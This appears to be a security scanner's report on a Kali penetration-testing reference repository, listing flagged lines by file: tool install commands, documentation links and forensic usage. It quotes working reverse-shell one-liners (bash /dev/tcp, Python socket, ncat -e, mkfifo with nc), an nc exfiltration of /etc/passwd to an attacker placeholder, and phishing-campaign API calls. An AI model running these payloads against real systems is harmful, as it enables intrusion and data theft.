[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Network accessline 118
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Network accessline 133
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Network accessline 147
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Network accessline 168
"smtp": {"name": "Internal SMTP"}, "groups": [{"name": "Finance Team"}], "url": "https://phish.example.com" - Network accessline 169
"groups": [{"name": "Finance Team"}], "url": "https://phish.example.com" }' - Network accessline 170
"url": "https://phish.example.com" - Network accessline 177
# Get all campaigns curl -k https://localhost:3333/api/campaigns/ \ - Network accessline 178
[Credential-related source omitted] - Access to secretsline 178
[Credential-related source omitted] - Access to secretsline 179
[Credential-related source omitted] - Network accessline 181
# Get specific campaign results curl -k https://localhost:3333/api/campaigns/1/results \ - Network accessline 182
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Network accessline 189
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Network accessline 213
- GitHub: https://github.com/gophish/gophish - Network accessline 214
- Kali Tools: https://www.kali.org/tools/gophish/
kali-pentest/references/exploitation/tools/impacket.md
- Network accessline 20
# Install from source (fortra is the current GitHub org; SecureAuth transferred to Fortra) git clone https://github.com/fortra/impacket - Network accessline 21
git clone https://github.com/fortra/impacket - Dangerous shell operationline 316
5. **Clock sync**: Kerberos attacks require clocks synchronized with the DC (±5 minutes); use `sudo ntpdate dc.domain.com` or `sudo ntpdate -u dc.domain.com` to sync. - Network accessline 323
- [impacket GitHub](https://github.com/fortra/impacket) - Network accessline 324
- [impacket README](https://github.com/fortra/impacket/blob/master/README.md)
kali-pentest/references/exploitation/tools/iodine.md
- Dangerous shell operationline 15
sudo apt install iodine - Dangerous shell operationline 56
sudo iodined -f -c -P secretpass 10.0.0.1/24 t1.example.com - Dangerous shell operationline 59
sudo iodined -f -c -P secretpass -n 203.0.113.10 10.0.0.1/24 t1.example.com - Dangerous shell operationline 64
sudo iodine -f -P secretpass t1.example.com - Dangerous shell operationline 67
sudo iodine -f -P secretpass 8.8.8.8 t1.example.com - Dangerous shell operationline 70
sudo iodine -f -P secretpass -T TXT t1.example.com - Network accessline 93
- [iodine GitHub](https://github.com/yarrick/iodine) - Network accessline 94
- [Kali iodine](https://www.kali.org/tools/iodine/)
kali-pentest/references/exploitation/tools/ligolo-ng.md
- Dangerous shell operationline 15
sudo apt install ligolo-ng - Dangerous shell operationline 49
sudo ip tuntap add user $(whoami) mode tun ligolo - Dangerous shell operationline 50
sudo ip link set ligolo up - Dangerous shell operationline 66
sudo ip route add 10.0.0.0/24 dev ligolo - Network accessline 85
- [ligolo-ng (GitHub)](https://github.com/nicocha30/ligolo-ng) - Network accessline 86
- [Kali ligolo-ng](https://www.kali.org/tools/ligolo-ng/)
kali-pentest/references/exploitation/tools/metasploit.md
- Network accessline 29
# Install via official installer script curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Network accessline 30
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Dangerous shell operationline 210
rm /tmp/file # Delete file - Network accessline 412
- [Metasploit Documentation](https://docs.metasploit.com/) - Network accessline 413
- [Metasploit Framework GitHub](https://github.com/rapid7/metasploit-framework) - Network accessline 414
- [Rapid7 Vulnerability Database](https://www.rapid7.com/db/)
kali-pentest/references/exploitation/tools/mitm6.md
kali-pentest/references/exploitation/tools/msfconsole.md
- Dangerous shell operationline 16
sudo apt install metasploit-framework - Access to secretsline 23
[Credential-related source omitted] - Network accessline 113
- [Metasploit Framework (GitHub)](https://github.com/rapid7/metasploit-framework) - Network accessline 114
- [Metasploit Documentation](https://docs.metasploit.com/) - Network accessline 115
- [Running Modules (Using Metasploit)](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html) - Network accessline 116
- [Database Support](https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html)
kali-pentest/references/exploitation/tools/msfvenom.md
- Dangerous shell operationline 15
sudo apt install metasploit-framework - Network accessline 263
- [How to use msfvenom (GitHub Wiki)](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom) - Network accessline 264
- [msfvenom Documentation](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)
kali-pentest/references/exploitation/tools/mssqlpwner.md
kali-pentest/references/exploitation/tools/netcat.md
- Dangerous shell operationline 15
sudo apt install ncat netcat-openbsd - Network accessline 15
sudo apt install ncat netcat-openbsd - Network accessline 27
| `-u` | UDP mode | | `-w N` | Timeout in seconds | | `-z` | Zero-I/O mode (port scanning; supported in ncat and traditional nc) | - Network accessline 28
| `-w N` | Timeout in seconds | | `-z` | Zero-I/O mode (port scanning; supported in ncat and traditional nc) | | `-k` | Set keepalive option on socket | - Network accessline 29
| `-z` | Zero-I/O mode (port scanning; supported in ncat and traditional nc) | - Network accessline 41
# === Reverse Shell Listener (Kali attacker machine) === nc -lvnp 4444 - Network accessline 42
nc -lvnp 4444 - Network accessline 43
# or use ncat (more stable) - Network accessline 44
ncat -lvnp 4444 - Network accessline 46
# === Reverse Shell Payloads (execute on target machine) === # Bash bash -i >& /dev/tcp/<kali-ip>/4444 0>&1 - Dangerous shell operationline 48
bash -i >& /dev/tcp/<kali-ip>/4444 0>&1 - Network accessline 48
bash -i >& /dev/tcp/<kali-ip>/4444 0>&1 - Network accessline 50
# Python3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' - Network accessline 51
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' - Dangerous shell operationline 53
# nc (versions with -e flag) - Network accessline 53
# nc (versions with -e flag) - Dangerous shell operationline 54
# Note: Kali's default nc (OpenBSD variant) does NOT support -e - Network accessline 54
# Note: Kali's default nc (OpenBSD variant) does NOT support -e - Dangerous shell operationline 55
# Use ncat (from nmap package) which supports --exec / -e: - Network accessline 55
# Use ncat (from nmap package) which supports --exec / -e: - Dangerous shell operationline 56
ncat <kali-ip> 4444 -e /bin/bash - Network accessline 56
ncat <kali-ip> 4444 -e /bin/bash - Dangerous shell operationline 58
# nc (without -e flag, using mkfifo) - Network accessline 58
# nc (without -e flag, using mkfifo) - Dangerous shell operationline 59
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f - Network accessline 59
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f - Network accessline 64
# === File Transfer === # Receiver (Kali) nc -lvnp 4444 > received_file - Network accessline 66
nc -lvnp 4444 > received_file - Network accessline 68
# Sender (target) — add -N so nc closes the socket on EOF and the transfer ends cleanly - Network accessline 69
nc -N <kali-ip> 4444 < /etc/passwd - Network accessline 71
# === Port Scanning (simple) === # Note: ncat supports -z but traditional nc (OpenBSD) may vary; nmap is preferred for reliable scanning - Network accessline 72
# Note: ncat supports -z but traditional nc (OpenBSD) may vary; nmap is preferred for reliable scanning - Network accessline 73
nc -zv 192.168.1.100 1-1000 2>&1 | grep open - Network accessline 75
# === Port Forwarding (simple) === # Forward local 8080 to target:80 nc -l 8080 | nc target.com 80 - Network accessline 77
nc -l 8080 | nc target.com 80 - Network accessline 97
2. For a fully interactive TTY, upgrade with Python3 pty after getting a basic shell — see the Shell Stabilization section above. 3. For encrypted shells or advanced PTY features, use `socat` instead — see `socat.md`. 4. `ncat --ssl` create - Network accessline 98
3. For encrypted shells or advanced PTY features, use `socat` instead — see `socat.md`. 4. `ncat --ssl` creates an encrypted netcat connection — useful when traffic monitoring is a concern. 5. Always use a non-standard port (not 80/443/22) - Network accessline 99
4. `ncat --ssl` creates an encrypted netcat connection — useful when traffic monitoring is a concern. - Network accessline 109
- [Ncat (nmap version)](https://nmap.org/ncat/) - Network accessline 110
- [Static binaries (socat, nmap, etc.)](https://github.com/andrew-d/static-binaries)
kali-pentest/references/exploitation/tools/odat.md
kali-pentest/references/exploitation/tools/proxytunnel.md
kali-pentest/references/exploitation/tools/routersploit.md
- Dangerous shell operationline 15
sudo apt install routersploit - Network accessline 21
git clone https://github.com/threat9/routersploit.git - Network accessline 102
- [routersploit GitHub](https://github.com/threat9/routersploit) - Network accessline 103
- [Kali routersploit](https://www.kali.org/tools/routersploit/)
kali-pentest/references/exploitation/tools/searchsploit.md
- Network accessline 173
- [Exploit-DB](https://www.exploit-db.com/) - Network accessline 174
- [ExploitDB GitLab](https://gitlab.com/exploit-database/exploitdb) - Network accessline 175
- [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - Network accessline 176
- [Exploit-DB Papers](https://www.exploit-db.com/papers) - Network accessline 177
- [Exploit-DB Shellcodes](https://www.exploit-db.com/shellcodes)
kali-pentest/references/exploitation/tools/setoolkit.md
kali-pentest/references/exploitation/tools/smbclient.md
kali-pentest/references/exploitation/tools/socat.md
kali-pentest/references/exploitation/tools/veil.md
kali-pentest/references/forensics/README.md
- Network accessline 165
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/forensics/tools/bulk-extractor.md
kali-pentest/references/forensics/tools/chainsaw.md
- Dangerous shell operationline 15
sudo apt install chainsaw - Network accessline 64
1. Download Sigma rules and mappings separately: `git clone https://github.com/SigmaHQ/sigma.git` - Network accessline 74
- [Chainsaw (GitHub)](https://github.com/WithSecureLabs/chainsaw) - Network accessline 75
- [Kali chainsaw](https://www.kali.org/tools/chainsaw/)
kali-pentest/references/forensics/tools/chkrootkit.md
- Dangerous shell operationline 15
sudo apt install chkrootkit - Dangerous shell operationline 34
sudo chkrootkit - Dangerous shell operationline 37
sudo chkrootkit -q - Dangerous shell operationline 40
sudo chkrootkit -x - Dangerous shell operationline 46
sudo chkrootkit -r /mnt/evidence - Dangerous shell operationline 49
sudo chkrootkit -p /mnt/trusted_bin - Dangerous shell operationline 52
sudo chkrootkit -n - Dangerous shell operationline 55
sudo chkrootkit -e "/tmp /var/tmp" - Dangerous shell operationline 58
sudo chkrootkit chkutmp - Dangerous shell operationline 61
sudo chkrootkit -q > /tmp/chkrootkit_report.txt 2>&1 - Network accessline 78
- [chkrootkit Official Site](http://www.chkrootkit.org/) - Network accessline 79
- [Kali chkrootkit](https://www.kali.org/tools/chkrootkit/)
kali-pentest/references/forensics/tools/dc3dd.md
kali-pentest/references/forensics/tools/dcfldd.md
kali-pentest/references/forensics/tools/ddrescue.md
- Dangerous shell operationline 15
sudo apt install gddrescue - Dangerous shell operationline 42
sudo ddrescue /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 45
sudo ddrescue -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 48
sudo ddrescue -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 51
sudo ddrescue -R -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 54
sudo ddrescue -d -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 57
sudo ddrescue -v --log-events /mnt/output/events.log /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 60
sudo ddrescue -s 1G /dev/sdb /mnt/output/partial.img /mnt/output/partial.map - Dangerous shell operationline 63
sudo ddrescue -b 4096 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 66
sudo ddrescue -f /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Network accessline 83
- [GNU ddrescue (Official)](https://www.gnu.org/software/ddrescue/)
kali-pentest/references/forensics/tools/exiftool.md
- Dangerous shell operationline 15
sudo apt install libimage-exiftool-perl - Network accessline 66
1. Always work on a copy of evidence files — use `-overwrite_original` only when you intentionally want to modify the source. 2. GPS coordinates in EXIF data can be converted to Google Maps links such as `https://maps.google.com/?q=<lat>,<l - Network accessline 67
2. GPS coordinates in EXIF data can be converted to Google Maps links such as `https://maps.google.com/?q=<lat>,<lon>` - Network accessline 76
- [ExifTool Official Site](https://exiftool.org/) - Network accessline 77
- [ExifTool Application Documentation](https://exiftool.org/exiftool_pod.html) - Network accessline 78
- [ExifTool Tag Names Reference](https://exiftool.org/TagNames/) - Network accessline 79
- [ExifTool (GitHub)](https://github.com/exiftool/exiftool)
kali-pentest/references/forensics/tools/foremost.md
kali-pentest/references/forensics/tools/hashdeep.md
kali-pentest/references/forensics/tools/plaso.md
kali-pentest/references/forensics/tools/regripper.md
kali-pentest/references/forensics/tools/rkhunter.md
- Dangerous shell operationline 15
sudo apt install rkhunter - Dangerous shell operationline 44
sudo rkhunter --check - Dangerous shell operationline 47
sudo rkhunter --check --skip-keypress - Dangerous shell operationline 50
sudo rkhunter --check --report-warnings-only --skip-keypress - Dangerous shell operationline 53
sudo rkhunter --update - Dangerous shell operationline 56
sudo rkhunter --propupd - Dangerous shell operationline 59
sudo rkhunter --versioncheck - Dangerous shell operationline 65
sudo rkhunter --check --enable rootkits,trojans --skip-keypress - Dangerous shell operationline 68
sudo rkhunter --check --disable apps --skip-keypress - Dangerous shell operationline 71
sudo rkhunter --cronjob --logfile /var/log/rkhunter.log - Network accessline 89
- [rkhunter Official Site](https://rkhunter.sourceforge.net/) - Network accessline 90
- [Kali rkhunter](https://www.kali.org/tools/rkhunter/)
kali-pentest/references/forensics/tools/scalpel.md
- Dangerous shell operationline 15
sudo apt install scalpel - Dangerous shell operationline 36
sudo nano /etc/scalpel/scalpel.conf - Dangerous shell operationline 42
sudo scalpel -c /etc/scalpel/scalpel.conf -o /tmp/carved/ /dev/sdb - Network accessline 71
- [Kali scalpel](https://www.kali.org/tools/scalpel/) - Network accessline 72
- [scalpel (GitHub - Sleuth Kit)](https://github.com/sleuthkit/scalpel)
kali-pentest/references/forensics/tools/sleuthkit.md
kali-pentest/references/forensics/tools/ssdeep.md
kali-pentest/references/forensics/tools/steghide.md
kali-pentest/references/forensics/tools/stegseek.md
- Network accessline 15
# Not in Kali apt repos; install via .deb from GitHub releases: wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb - Network accessline 16
wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb - Network accessline 67
- [stegseek (GitHub)](https://github.com/RickdeJager/stegseek)
kali-pentest/references/forensics/tools/tcpdump.md
kali-pentest/references/forensics/tools/tcpflow.md
- Dangerous shell operationline 15
sudo apt install tcpflow - Dangerous shell operationline 49
sudo tcpflow -i eth0 -o /tmp/flows/ - Dangerous shell operationline 70
sudo tcpflow -i eth0 -o /tmp/flows/ "dst port 22" - Network accessline 90
- [Kali tcpflow](https://www.kali.org/tools/tcpflow/) - Network accessline 91
- [tcpflow (GitHub)](https://github.com/simsong/tcpflow)
kali-pentest/references/forensics/tools/testdisk.md
- Dangerous shell operationline 15
sudo apt install testdisk - Dangerous shell operationline 42
sudo testdisk /log - Dangerous shell operationline 45
sudo testdisk /log /dev/sda - Dangerous shell operationline 51
sudo testdisk /cmd /dev/sda analyze - Dangerous shell operationline 54
sudo testdisk /cmd /dev/sda search - Dangerous shell operationline 60
sudo testdisk /debug /log /dev/sda - Dangerous shell operationline 63
sudo photorec /log /dev/sda - Dangerous shell operationline 66
sudo photorec /d /tmp/recovered/ /log /dev/sda - Dangerous shell operationline 69
sudo photorec /cmd /dev/sda1 fileopt,everything,enable,search - Network accessline 89
- [TestDisk Official Documentation](https://www.cgsecurity.org/wiki/TestDisk) - Network accessline 90
- [Kali testdisk](https://www.kali.org/tools/testdisk/)
kali-pentest/references/forensics/tools/tshark.md
kali-pentest/references/forensics/tools/volatility.md
- Dangerous shell operationline 15
sudo apt install volatility3 - Network accessline 121
# Note: /proc/kcore is the live kernel's ELF core; size varies and may not capture full RAM reliably # Use the LiME (Linux Memory Extractor) kernel module for reliable full RAM dumps: # git clone https://github.com/504ensicsLabs/LiME - Network accessline 122
# Use the LiME (Linux Memory Extractor) kernel module for reliable full RAM dumps: # git clone https://github.com/504ensicsLabs/LiME # cd LiME/src && make && insmod lime-*.ko "path=/tmp/memory.raw format=raw" - Network accessline 123
# git clone https://github.com/504ensicsLabs/LiME - Dangerous shell operationline 125
sudo dd if=/proc/kcore of=/tmp/memory.raw bs=1M 2>/dev/null || true # Fallback (limited) - Network accessline 140
- [Volatility3 Documentation](https://volatility3.readthedocs.io/) - Network accessline 141
- [Volatility3 (GitHub)](https://github.com/volatilityfoundation/volatility3)
kali-pentest/references/forensics/tools/yara.md
- Dangerous shell operationline 15
sudo apt install yara - Network accessline 91
# Download YARA rules from Awesome YARA or YARA-Rules project git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules - Network accessline 92
git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules - Network accessline 123
- [YARA Documentation](https://yara.readthedocs.io/) - Network accessline 124
- [YARA (GitHub)](https://github.com/VirusTotal/yara) - Network accessline 125
- [yara — Kali Tools](https://www.kali.org/tools/yara/)
kali-pentest/references/information-gathering/README.md
- Network accessline 264
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/information-gathering/tools/altdns.md
kali-pentest/references/information-gathering/tools/amass.md
- Dangerous shell operationline 21
sudo apt install amass - Access to secretsline 197
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Network accessline 230
- [OWASP Amass GitHub](https://github.com/owasp-amass/amass) - Network accessline 231
- [Amass Documentation](https://owasp-amass.github.io/docs)
kali-pentest/references/information-gathering/tools/arp-scan.md
- Dangerous shell operationline 15
sudo apt install arp-scan - Dangerous shell operationline 34
sudo arp-scan -l - Dangerous shell operationline 37
sudo arp-scan -I eth0 -l - Dangerous shell operationline 40
sudo arp-scan 192.168.1.0/24 - Dangerous shell operationline 43
sudo arp-scan 192.168.1.1 192.168.1.2 192.168.1.100 - Dangerous shell operationline 46
sudo arp-scan -l --bandwidth 1000k - Dangerous shell operationline 49
sudo arp-scan -l # Automatically queries MAC vendor database by default - Dangerous shell operationline 57
4. MAC vendor lookup is done against a local OUI database (`/usr/share/arp-scan/ieee-oui.txt`); update it with `sudo get-oui` if vendor info seems stale. - Network accessline 64
- [arp-scan GitHub](https://github.com/royhills/arp-scan) - Network accessline 65
- [Kali arp-scan](https://www.kali.org/tools/arp-scan/)
kali-pentest/references/information-gathering/tools/assetfinder.md
kali-pentest/references/information-gathering/tools/autorecon.md
- Dangerous shell operationline 15
sudo apt install autorecon - Dangerous shell operationline 74
5. Install dependencies if missing: `sudo apt install autorecon` on a fresh Kali. - Network accessline 80
- [AutoRecon (GitHub)](https://github.com/AutoRecon/AutoRecon) - Network accessline 81
- [Kali autorecon](https://www.kali.org/tools/autorecon/)
kali-pentest/references/information-gathering/tools/certgraph.md
kali-pentest/references/information-gathering/tools/cloud-enum.md
kali-pentest/references/information-gathering/tools/cloudbrute.md
kali-pentest/references/information-gathering/tools/dig.md
kali-pentest/references/information-gathering/tools/dmitry.md
kali-pentest/references/information-gathering/tools/dnsenum.md
kali-pentest/references/information-gathering/tools/dnsgen.md
kali-pentest/references/information-gathering/tools/dnsmap.md
kali-pentest/references/information-gathering/tools/dnsrecon.md
kali-pentest/references/information-gathering/tools/dnstwist.md
kali-pentest/references/information-gathering/tools/dnsx.md
kali-pentest/references/information-gathering/tools/eyewitness.md
- Dangerous shell operationline 15
sudo apt install eyewitness - Network accessline 41
# Single target eyewitness --single http://target.com --web -d /tmp/ - Network accessline 42
eyewitness --single http://target.com --web -d /tmp/ - Network accessline 67
- [EyeWitness GitHub](https://github.com/RedSiege/EyeWitness)
kali-pentest/references/information-gathering/tools/fierce.md
kali-pentest/references/information-gathering/tools/finalrecon.md
- Dangerous shell operationline 15
sudo apt install finalrecon - Network accessline 50
# Full reconnaissance (all modules) finalrecon --url http://example.com --full - Network accessline 51
finalrecon --url http://example.com --full - Network accessline 53
# Header and SSL analysis only finalrecon --url http://example.com --headers --sslinfo - Network accessline 54
finalrecon --url http://example.com --headers --sslinfo - Network accessline 56
# DNS + subdomain enumeration finalrecon --url http://example.com --dns --sub - Network accessline 57
finalrecon --url http://example.com --dns --sub - Network accessline 59
# Combine web crawling and Wayback URLs finalrecon --url http://example.com --crawl --wayback - Network accessline 60
finalrecon --url http://example.com --crawl --wayback - Network accessline 62
# Port scan + WHOIS finalrecon --url http://example.com --ps --whois - Network accessline 63
finalrecon --url http://example.com --ps --whois - Network accessline 78
- [finalrecon (GitHub)](https://github.com/thewhiteh4t/FinalRecon) - Network accessline 79
- [Kali finalrecon](https://www.kali.org/tools/finalrecon/)
kali-pentest/references/information-gathering/tools/findomain.md
kali-pentest/references/information-gathering/tools/fping.md
kali-pentest/references/information-gathering/tools/getallurls.md
- Dangerous shell operationline 15
sudo apt install getallurls - Network accessline 53
# Use a proxy echo "example.com" | gau -p http://127.0.0.1:8080 - Network accessline 54
echo "example.com" | gau -p http://127.0.0.1:8080 - Network accessline 79
- [getallurls / gau (GitHub)](https://github.com/lc/gau) - Network accessline 80
- [Kali getallurls](https://www.kali.org/tools/getallurls/)
kali-pentest/references/information-gathering/tools/gowitness.md
- Dangerous shell operationline 15
sudo apt install gowitness - Network accessline 58
# Screenshot a single URL (v3) gowitness scan single -u http://target.com --write-db - Network accessline 59
gowitness scan single -u http://target.com --write-db - Network accessline 60
# v2.x legacy: gowitness single http://target.com - Network accessline 81
gowitness report server --host 127.0.0.1 --port 7171 --db-uri sqlite://gowitness.sqlite3 # v2.x legacy: gowitness report serve --address 127.0.0.1:7171 # Access http://127.0.0.1:7171 - Network accessline 83
# Access http://127.0.0.1:7171 - Network accessline 94
# Use a proxy (v3 uses --chrome-proxy; v2 used --proxy) gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db - Network accessline 95
gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db - Network accessline 111
- [gowitness (GitHub)](https://github.com/sensepost/gowitness)
kali-pentest/references/information-gathering/tools/h8mail.md
kali-pentest/references/information-gathering/tools/hakrawler.md
- Dangerous shell operationline 15
sudo apt install hakrawler - Network accessline 25
| `-subs` | Follow links to subdomains | | `-t <n>` | Threads (default: 8) | | `-proxy <url>` | Proxy URL (e.g., http://127.0.0.1:8080) | - Network accessline 26
| `-t <n>` | Threads (default: 8) | | `-proxy <url>` | Proxy URL (e.g., http://127.0.0.1:8080) | | `-h` | Custom headers (`"Name: value;;Name2: value2"` format, separated by `;;`) | - Network accessline 27
| `-proxy <url>` | Proxy URL (e.g., http://127.0.0.1:8080) | - Network accessline 37
# Crawl a single URL echo https://example.com | hakrawler - Network accessline 38
echo https://example.com | hakrawler - Network accessline 40
# Crawl to depth 3 echo https://example.com | hakrawler -d 3 - Network accessline 41
echo https://example.com | hakrawler -d 3 - Network accessline 43
# Follow subdomains echo https://example.com | hakrawler -subs - Network accessline 44
echo https://example.com | hakrawler -subs - Network accessline 52
# Route through Burp Suite proxy echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure - Network accessline 53
echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure - Network accessline 55
# Extract JavaScript files echo https://example.com | hakrawler | grep '\.js$' - Network accessline 56
echo https://example.com | hakrawler | grep '\.js$' - Network accessline 71
- [hakrawler (GitHub)](https://github.com/hakluke/hakrawler) - Network accessline 72
- [Kali hakrawler](https://www.kali.org/tools/hakrawler/)
kali-pentest/references/information-gathering/tools/hosthunter.md
- Dangerous shell operationline 15
sudo apt install hosthunter - Network accessline 19
# Or install from source git clone https://github.com/SpiderLabs/HostHunter.git - Network accessline 20
git clone https://github.com/SpiderLabs/HostHunter.git - Network accessline 99
- [HostHunter (GitHub)](https://github.com/SpiderLabs/HostHunter) - Network accessline 100
- [Kali HostHunter](https://www.kali.org/tools/hosthunter/)
kali-pentest/references/information-gathering/tools/httprobe.md
kali-pentest/references/information-gathering/tools/httpx.md
- Dangerous shell operationline 17
sudo apt install httpx-toolkit - Network accessline 67
httpx-toolkit -u https://example.com -sc -title -td -server - Network accessline 109
httpx-toolkit -l targets.txt -sc -title -proxy http://127.0.0.1:8080 -rl 10 -threads 5 - Network accessline 127
- [httpx - GitHub](https://github.com/projectdiscovery/httpx) - Network accessline 128
- [httpx - ProjectDiscovery Documentation](https://docs.projectdiscovery.io/tools/httpx/overview)
kali-pentest/references/information-gathering/tools/ldeep.md
kali-pentest/references/information-gathering/tools/masscan.md
- Dangerous shell operationline 17
sudo apt install masscan - Network accessline 19
# Compile from source git clone https://github.com/robertdavidgraham/masscan - Network accessline 20
git clone https://github.com/robertdavidgraham/masscan - Network accessline 120
- [masscan GitHub](https://github.com/robertdavidgraham/masscan)
kali-pentest/references/information-gathering/tools/massdns.md
kali-pentest/references/information-gathering/tools/metagoofil.md
kali-pentest/references/information-gathering/tools/naabu.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install naabu - Network accessline 76
- [naabu GitHub](https://github.com/projectdiscovery/naabu) - Network accessline 77
- [naabu Documentation](https://docs.projectdiscovery.io/tools/naabu/overview) - Network accessline 78
- [Kali naabu](https://www.kali.org/tools/naabu/)
kali-pentest/references/information-gathering/tools/nbtscan.md
kali-pentest/references/information-gathering/tools/netdiscover.md
- Dangerous shell operationline 15
sudo apt install netdiscover - Dangerous shell operationline 44
sudo netdiscover -r 192.168.1.0/24 - Dangerous shell operationline 47
sudo netdiscover -i eth0 -r 192.168.1.0/24 - Dangerous shell operationline 50
sudo netdiscover -p -i eth0 - Dangerous shell operationline 53
sudo netdiscover -r 10.0.0.0/24 -f - Dangerous shell operationline 56
sudo netdiscover -r 192.168.1.0/24 -s 100 - Network accessline 71
- [netdiscover GitHub](https://github.com/netdiscover-scanner/netdiscover) - Network accessline 72
- [Kali netdiscover](https://www.kali.org/tools/netdiscover/)
kali-pentest/references/information-gathering/tools/nmap.md
kali-pentest/references/information-gathering/tools/p0f.md
- Dangerous shell operationline 15
sudo apt install p0f - Dangerous shell operationline 39
sudo p0f -i eth0 - Dangerous shell operationline 45
sudo p0f -i eth0 -o /tmp/p0f.log - Dangerous shell operationline 48
sudo p0f -i eth0 -s /tmp/p0f.sock - Network accessline 63
- [p0f Official Site](https://lcamtuf.coredump.cx/p0f3/) - Network accessline 64
- [p0f GitHub (unofficial mirror)](https://github.com/p0f/p0f)
kali-pentest/references/information-gathering/tools/recon-ng.md
- Dangerous shell operationline 17
sudo apt install recon-ng - Network accessline 17
sudo apt install recon-ng git clone https://github.com/lanmaster53/recon-ng - Network accessline 18
git clone https://github.com/lanmaster53/recon-ng - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Network accessline 229
- [recon-ng GitHub](https://github.com/lanmaster53/recon-ng) - Network accessline 230
- [recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki)
kali-pentest/references/information-gathering/tools/sherlock.md
- Dangerous shell operationline 15
sudo apt install sherlock - Network accessline 22
# Or clone and install from source git clone https://github.com/sherlock-project/sherlock.git - Network accessline 23
git clone https://github.com/sherlock-project/sherlock.git - Network accessline 123
- [Sherlock Project (GitHub)](https://github.com/sherlock-project/sherlock) - Network accessline 124
- [Kali Sherlock](https://www.kali.org/tools/sherlock/)
kali-pentest/references/information-gathering/tools/shodan.md
kali-pentest/references/information-gathering/tools/spiderfoot.md
- Dangerous shell operationline 15
sudo apt install spiderfoot - Network accessline 46
# Start the web interface (access at http://127.0.0.1:5001) - Network accessline 77
- [SpiderFoot (GitHub)](https://github.com/smicallef/spiderfoot) - Network accessline 78
- [Kali spiderfoot](https://www.kali.org/tools/spiderfoot/)
kali-pentest/references/information-gathering/tools/subfinder.md
kali-pentest/references/information-gathering/tools/sublist3r.md
kali-pentest/references/information-gathering/tools/theHarvester.md
- Dangerous shell operationline 17
sudo apt install theharvester - Network accessline 17
sudo apt install theharvester git clone https://github.com/laramies/theHarvester - Network accessline 18
git clone https://github.com/laramies/theHarvester - Network accessline 100
- [theHarvester GitHub](https://github.com/laramies/theHarvester)
kali-pentest/references/information-gathering/tools/trufflehog.md
- Dangerous shell operationline 15
sudo apt install trufflehog - Network accessline 15
sudo apt install trufflehog # Or download the latest binary from GitHub releases curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin - Dangerous shell operationline 17
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin - Network accessline 17
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin - Network accessline 43
# Scan a remote git repository (full history) trufflehog git https://github.com/target-org/target-repo.git - Network accessline 44
trufflehog git https://github.com/target-org/target-repo.git - Access to secretsline 53
[Credential-related source omitted] - Network accessline 55
# JSON output for automation trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json - Network accessline 56
trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json - Network accessline 58
